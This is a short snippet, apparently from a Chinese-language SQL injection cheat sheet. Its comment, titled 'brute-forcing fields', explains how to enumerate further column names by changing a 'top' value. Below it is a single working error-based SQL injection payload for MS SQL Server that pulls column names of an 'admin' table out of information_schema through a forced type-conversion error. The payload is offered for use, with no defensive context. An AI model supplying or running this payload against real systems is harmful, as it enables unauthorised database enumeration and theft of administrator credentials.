//---------------爆破字段--------------- 要非別爆破別的字段名只要換 第2個 top 的值就可以了
Feihacker' union select top 1 table_name from information_schema.tables where (select top 1 cast(column_name as varchar(256)) from(select top 2 ORDINAL_POSITION,table_name,column_name from information_schema.COLUMNS where table_name='admin' order by ORDINAL_POSITION)t order by ORDINAL_POSITION desc)=0--